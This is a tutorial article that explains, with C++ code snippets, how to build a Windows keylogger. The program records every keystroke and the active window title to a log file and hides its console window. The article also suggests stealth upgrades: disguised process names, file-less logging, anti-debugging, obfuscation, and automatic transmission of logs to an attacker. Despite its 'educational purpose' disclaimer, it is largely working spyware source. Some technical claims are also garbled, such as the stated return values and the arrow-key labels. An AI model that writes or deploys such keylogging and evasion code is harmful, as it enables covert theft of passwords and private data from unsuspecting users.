Open-Source Internship opportunity by OpenGenus for programmers. Apply now.
In this article, we have developed a Keylogger in C++ Programming Language. This is a strong project for an SDE portfolio.
Key-logger, by the name itself we can derive the meaning of logging the keys. A keylogger is a type of malicious software or a hardware device that records every single keystrokes with other necessary informations made on a computer or mobile device. It's used to steal personal informations like login credentials, credit card details, and other sensitive informations which can be used to exploit us. Keyloggers can be installed by attackers through phishing emails, infected websites, or by exploiting vulnerabilities in the operating systems or other softwares. These keyloggers are supper hard to detect as they often run in the background and they can disguise as some legitimate software. Its important to use a reputable anti-virus program and to be cautious when clicking on links or downloading attachments from unknown sources.
This project is made for educational purpose and from the above information, its clear that you should stay away from these kind of softwares.
So now let's dig into it!
Table Of Contents
Click here to see the keylogger program about which I will be talking about in this article. We can split the topics as below:
- Features & Requirements
- Other Features
- Implementation Details
- Working
- Logging Out Details
- Actions On Key-Combinations
- Logged File Output
- Conclusion
Features & Requirements
The features of this program is that, it will log out every character, clicks and some special keys like shift, enter etc into the log.csv
file in the form of a single string along with the window name and start time in a way that it looks like a session of that particular window.
The special keys will be logged with their name on it. Example: shift key press will be logged as [SHIFT]
.
It has key combinations to open the log file and to stop the keylogger.
The requirements to run this program is a GCC Compliler. This kind of minimalistic requirement makes keylogger programs more dangerous & susceptible to people.
Other Features
- Logging the keypress of the entire keyboard. To adopt this feature we need to expand the code to log every virtual key. We can use the same approach as we did for keys like
SHIFT
. - Full Stealth Mode: We can take the stealth mode to next level by adapting the following things:
_ Hiding the process: Running it with a disguised name can make it more difficult to detect.
_ File-less logging: Instead of logging the keypress into a file, the program can store it in the memory. So there wont be a trace of a log file.
_ Anti-debugging techniques: Implementing techniques like checking for the presence of a debugger or using self modifying code can make it more difficult for someone to reverse-engineer the keylogger.
_ Obfuscation: Using code obfuscation techniques such as renaming variables and functions, and using code packing can make it more difficult for someone to understand the keylogger's inner workings. * No key combinations: No key combinations to stop the program. - Encryption: Encrypting the key presses before writing them to the log file can make it more difficult for someone to read the log if they manage to find it.
- Automatic Transmission: Some keyloggers can send the logged details to the attacker.
Implementation Details
Before we get on to the working there are some terms we need to familiarize.
- GetAsyncKeyState(): It is a function in the windows
API
that returns the state of a specified virtual key code. The function returns-32767
if the key is currently pressed, and0
if its not. The function is defined in the Windows header file<Windows.h>
. It is commonly used in Windows programming to detect key presses and releases in real-time, making it a popular function for use in keyloggers. The binary value is1111111111110001
, here theMSB
is a set bit. 0x8000
: It is a hexadecimal value that represents the binary number1000000000000000
. It is used as a bitmask to check if a certain bit is set or not in a value. In the context of the GetAsyncKeyState() function,0x8000
is used to determine if a particular virtual key is currently pressed. If the result ofGetAsyncKeyState() & 0x8000
is equal to0x8000
, it means that the key is being pressed.- HWND:
HWND
stands for handle to a window and its a part of the windowsAPI
. Its a unique identifier for a window, and is used in many functions of the WindowsAPI
to refer to a specific window. - GetForegroundWindow(): It is a function in windows
API
that returns a handle to the foreground window. Foreground window is the currently active window, the one with which the user is interacting. It is used in windows programming to retrieve a handle to the foreground window. Only aHWND
variable can store the handle returned byGetForegroundWindow()
function. The syntax is as follows:
HWND hwnd_var = GetForegroundWindow();
Here an HWND
variable stores the handle to the foreground window.
- GetWindowText(): Its a function in the windows
API
that retrieved the text of the specified window's title bar. Its used in out program as follows:
GetWindowText(hwnd_var, curr_Window, sizeof(curr_Window));
It has three arguments, the first is an HWND
variable, which is the handle to the windows whose title bar text is to be retrieved. The second is a string value where the retrieved name should be stored. The third is the maximum length of the string. So after this line is executed the curr_Window
will have the title of the currently active window stored in it.
Working
We can split the working into two: the first part would be about logging the keypress into the log file and the second one is about the key press combination.
Logging Out Details
First lets start from the int main()
, here we want the program to run endlessly without any interruption and for that purpose we will use an infinite while()
loop to accomplish this.
char i;
while (1)
{
Sleep(10);
for (i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
logger(i, "log.csv");
}
}
}
Now you can see the for loop inside the while loop. It is used to iterate over all the characters in a keyboard according to their ASCII table, here you can see that the relevant values starts from the value 8
which is backspace
and ends at the value 255
. The if
statement inside the for loop checks if that particular value is pressed or not by comparing the GetAsyncKeyState(i)
value of that character to -32767
. If those two are equal we can confirm that i
has been pressed, and hence we pass on the i
value and the file name into the function logger()
.
Now lets see how it logs things out.
So, when a pressed key is detected, the logger function is called and passed the virtual key code of the pressed key and the name of the log file log.csv
as arguments.
After receiving the key and file name, first we will store the current window name into curr_Window
using the following code. Here first the window name is stored in hwnd
then GetWindowText
retrieves the text of the window specified by hwnd
to curr_Window
.
HWND hwnd = GetForegroundWindow();
char windowTitle[256];
GetWindowText(hwnd, curr_Window, sizeof(curr_Window));
After getting the current window name we will compare it with the prev_Window
name to conclude whether we are in the same session.
Note: By same session I mean we are on the same window and the key should be printed in a continuous manner.
if (strcmp(curr_Window, prev_Window) != 0)
{
time_t current_time = time(NULL);
char *dt = ctime(¤t_time);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "\n\n%s\t\t%s", curr_Window, dt);
fclose(OUTPUT_FILE);
strcpy(prev_Window, curr_Window);
}
With the above code we are checking whether the previous window and the current window are same or not. If they are not same the value wont be equal to 0
and hence the time is initialized and then the window name along with the time is printed in a new line. Then the prev_Window
gets the value of curr_Window
.
The printing process of the window name and the keys outside the if
statement are both same. The below is the printing process of the keys:
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK SPACE]");
else if (key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LButton]");
else if (key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key == VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPS_LOCK]");
else if (key == VK_MENU)
fprintf(OUTPUT_FILE, "%s", "[ALT]");
else if (key == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT_ARROW]");
else if (key == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[LEFT_RIGHT]");
else if (key == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[LEFT_UP]");
else if (key == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[LEFT_DOWN]");
else if (key == VK_SPACE)
fprintf(OUTPUT_FILE, "%s", "[SPACE_KEY]");
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
The first two lines indicate the opening of the specified file which is log.csv
. The fopen
function opens the file and the a+
indicates to appending the current key
with the existing contents of the log.csv
file.
Then the if
else
statements are checking if the key is any of those virtual keys, if it is then the corresponding text is been printed into the file and if its not among those keys it is printed in the same way using the else
statement. The fclose
function is used to close the file which was opened. This is the same thing happening to print the window title and time.
In this program we are using FreeConsole()
to detach the console window from the process hence the process no longer receives standard input or output from the console. This is often used in keylogger programs to hide the console window so that the user does not see the output of the program.
Actions On Key-Combinations
We have two key combinations in our program which are:
-
ctrl
+shift
+g
:To open thelog.csv
file. -
ctrl
+shift
+q
:To stop the program.if (GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(VK_SHIFT) & 0x8000 && GetAsyncKeyState('G') & 0x8000) { ShellExecute(0, "open", "log.csv", 0, 0, SW_SHOW); } if (GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(VK_SHIFT) & 0x8000 && GetAsyncKeyState('Q') & 0x8000) { exit(0); }
Here we are performing bitwise AND
operation between the value returned by GetAsyncKeyState()
and with 0x8000
.
GetAsyncKeyState()
returns either 0
when key is not pressed or -32767
if the key is pressed and the expression 0x8000
represents the highest bit in a 16-bit value, which is used to indicate the state of the key. So if it is pressed there will be a non zero value after the bitwise AND
operation and hence the if statement will be executed.
The ShellExcecute()
uses the windows API
function to open the file. The parameters of the function are: hWnd
, IpOperation
,IpFile
, IpParameters
, IpDirectory
and nShowCmd
.
In the next if
statement it executes exit(0)
which will stop the program.
Logged File Output
So the following is the output for the keylogger program:
Conclusion
So click here if you want to see the code, do give it a star if you liked it. The keylogger is a really powerful software which is used by attackers. Its illegal in several parts of the world as it infiltrates the privacy of the users. This program is made for educational purpose only, there was no intend of harm to anyone. These keyloggers are so advanced that they can automatically send the logged details to the attacker whithout the user noticing it.
On the other hand these keyloggers are also used for good purpose like an IT department might use a keylogger to monitor employee activity to ensure they are not misusing company resources.
So by the end of this article at OpenGenus and you would have a complete idea on what a keylogger is and how it works.